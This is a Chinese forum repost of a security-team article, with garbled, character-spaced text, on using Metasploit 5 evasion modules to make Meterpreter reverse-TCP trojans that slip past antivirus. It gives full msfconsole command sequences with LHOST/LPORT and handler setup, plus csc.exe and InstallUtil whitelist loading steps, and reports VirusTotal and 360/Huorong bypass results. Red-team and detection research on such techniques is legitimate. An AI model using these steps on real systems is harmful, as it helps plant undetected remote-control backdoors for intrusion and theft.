搜索

[26917] 2020-02-19_远控免杀专题文章(4)-Evasion模块免杀(VT免杀率1271)

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-02-19_远控免杀专题文章(4)-Evasion模块免杀(VT免杀率1271) 远 控 免 杀 专 题 文 章 ( 4 ) - E v a s i o n 模 块 免 杀 ( V T 免 杀 率 1 2 / 7 1 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 2 - 1 9 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 、 远 控 免 杀 专 题 文 章 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 、 远 控 免 杀 专 题 文 章 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 3 、 远 控 免 杀 专 题 文 章 ( 3 ) - m s f 自 带 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 0 C Z s l L h C L O K _ H g k H G c p E A 4 、 远 控 免 杀 专 题 文 章 ( 4 ) - E v a s i o n 模 块 ( V T 免 杀 率 1 2 / 7 1 ) ： 本 文 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 几 点 说 明 ： 几 点 说 明 ： 1 、 下 表 中 标 识 、 下 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 毒 版 本 杀 毒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 3 . 1 3 1 2 . 0 . 0 . 2 0 0 1
( 2 0 1 9 . 1 2 . 1 7 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 前 言 前 言 2 0 1 9 年 1 月 ， m e t a s p l o i t 升 级 到 了 5 . 0 ， 引 入 了 一 个 新 的 模 块 叫 E v a s i o n 模 块 ， 官 方 宣 称 这 个 模 块 可 以 创 建 反 杀 毒 软 件 的 木 马 。 e v a s i o n 有 以 下 几 个 模 块 , 可 以 使 用 进 行 查 看 。 生 成 e x e ( V T 查 杀 率 4 2 / 7 1 ) 使 用 进 行 生 成 p a y l o a d 不 打 开 杀 软 的 情 况 下 ， 可 正 常 上 线 v i r u s t o t a l . c o m s h o w   e v a s i o n u s e   w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e m s f 5   >   u s e   w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e m s f 5   e v a s i o n ( w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e )   >   s e t   f i l e n a m e   p a y l o a d . e x e m s f 5   e v a s i o n ( w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e v a s i o n ( w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e )   >   s e t   L H O S T   1 0 . 2 1 1 . 5 5 . 3 m s f 5   e v a s i o n ( w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e )   >   s e t   L P O R T   3 3 3 3 m s f 5   e v a s i o n ( w i n d o w s / w i n d o w s _ d e f e n d e r _ e x e )   >   r u n h a n d l e r   - H   1 0 . 2 1 1 . 5 5 . 2   - P   3 3 3 3   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p
打 开 杀 软 ， 目 前 已 经 无 法 过 3 6 0 和 火 绒 ， 看 网 上 资 料 在 该 模 块 刚 出 来 时 是 可 以 过 3 6 0 的 。 v i r u s t o t a l . c o m 中 4 2 / 7 1 个 报 毒 （ 前 几 天 测 试 的 时 候 还 是 3 9 个 . . . ）
生 成 生 成 h t a ( V T 查 杀 率 查 杀 率 1 4 / 5 9 ) 用 另 外 一 个 e v a s i o n 模 块 生 成 一 下 ， 3 6 0 同 样 被 杀 w i n d o w s / w i n d o w s _ d e f e n d e r _ j s _ h t a
但 是 火 绒 静 态 + 行 为 查 杀 都 没 发 现 问 题 ， 可 正 常 上 线
v i r u s t o t a l . c o m 中 1 4 / 5 9 个 报 毒 ， 不 过 在 线 查 毒 时 显 示 3 6 0 也 没 查 出 来 ， 但 我 本 地 测 试 时 却 是 能 查 出 来 的 ， 所 以 在 线 查 杀 还 是 不 太 精 准 的 。
生 成 生 成 i n s t a l l _ u t i l ( V T 查 杀 率 查 杀 率 1 2 / 7 1 ) e v a s i o n 还 提 供 了 其 他 几 个 模 块 ， 比 如 创 建 p a y l o a d 根 据 说 明 ， 需 要 使 用 c s c . e x e 进 行 编 译 一 下 ， 然 后 用 加 载 文 件 。 c s c . e x e 是 微 软 . N E T   F r a m e w o r k   中 的 C # 语 言 编 译 器 ， 本 机 安 装 了 . n e t 后 就 可 以 找 到 该 文 件 。 我 这 里 用 v s 2 0 1 7 里 的 c s c . e x e 进 行 编 译 ， 生 成 i n s t a l l _ u t i l . e x e 。 w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l m s f 5   >   u s e   w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l m s f 5   e v a s i o n ( w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e v a s i o n ( w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l )   >   s e t   l h o s t   1 0 . 2 1 1 . 5 5 . 2 l h o s t   = >   1 0 . 2 1 1 . 5 5 . 2 m s f 5   e v a s i o n ( w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l )   >   s e t   l p o r t   3 3 3 3 l p o r t   = >   3 3 3 3 m s f 5   e v a s i o n ( w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l )   >   r u n [ + ]   i n s t a l l _ u t i l . t x t   s t o r e d   a t   / U s e r s / x y s o u l / . m s f 4 / l o c a l / i n s t a l l _ u t i l . t x t [ * ]   C o p y   i n s t a l l _ u t i l . t x t   t o   t h e   t a r g e t [ * ]   C o m p i l e   u s i n g :   C : W i n d o w s M i c r o s o f t . N e t F r a m e w o r k [ . N E T   V e r s i o n ] c s c . e x e   / o u t : i n s t a l l _ u t i l . e x e   i n s t a l l _ u t i l . t x t [ * ]   E x e c u t e   u s i n g :   C : W i n d o w s M i c r o s o f t . N e t F r a m e w o r k [ . N E T   V e r s i o n ] I n s t a l l U t i l . e x e   / l o g f i l e =   / L o g T o C o n s o l e = f a l s e   / U   i n s t a l l _ u t i l . e x e I n s t a l l U t i l . e x e
直 接 执 行 是 没 有 任 何 反 应 的 ， 需 要 使 用 来 加 载 。 注 意 的 是 ， 如 果 生 成 的 是 3 2 位 的 p a y l o a d ， 就 要 用 3 2 位 的 . n e t 下 的 I n s t a l l U t i l 来 加 载 ， 否 则 文 件 会 无 法 执 行 。 静 态 查 杀 都 没 有 问 题 ， 执 行 时 3 6 0 行 为 查 杀 会 报 毒 。 i n s t a l l _ u t i l . e x e I n s t a l l U t i l . e x e   / l o g f i l e =   / L o g T o C o n s o l e = f a l s e   / U   i n s t a l l _ u t i l . e x e
在 v i r u s t o t a l . c o m 中 对 进 行 查 杀 ， 发 现 1 2 / 7 1 个 报 毒 小 结 小 结 在 e v a s i o n 中 共 提 供 了 6 个 免 杀 模 块 ， 大 家 都 可 以 进 行 尝 试 。 上 文 中 第 三 个 免 杀 利 用 c s c 白 名 单 加 载 p a y l o a d 的 方 式 还 有 很 多 种 ， 网 上 也 有 很 多 介 绍 ， 侯 亮 大 神 也 提 到 了 很 多 类 似 的 白 名 单 软 件 。 而 且 在 2 0 1 9 年 1 月 m s f 5 更 新 的 不 止 e v a s i o n 模 块 ， 还 有 个 更 强 大 的 模 板 编 译 函 数 ， 提 供 了 更 强 大 的 自 定 义 免 杀 机 制 。 后 面 文 章 会 讲 述 该 模 块 使 用 。 参 考 参 考 : 基 于 白 名 单 C s c . e x e 执 行 p a y l o a d ： i n s t a l l _ u t i l . e x e M e t a s p l o i t : : F r a m e w o r k : : C o m p i l e r a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l . m d h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / b l o b / m a s t e r / d o c u m e n t a t i o n / m o d u l e s / e v a s i o n / w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l . m d h t t p s : / / m i c r o 8 . g i t b o o k . i o / m i c r o 8 / c o n t e n t s - 1 / 7 1 - 8 0 / 7 7 - j i - y u - b a i - m i n g - d a n - c s c . e x e - z h i - h a n g - p a y l o a d - d i - q i - j i
扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理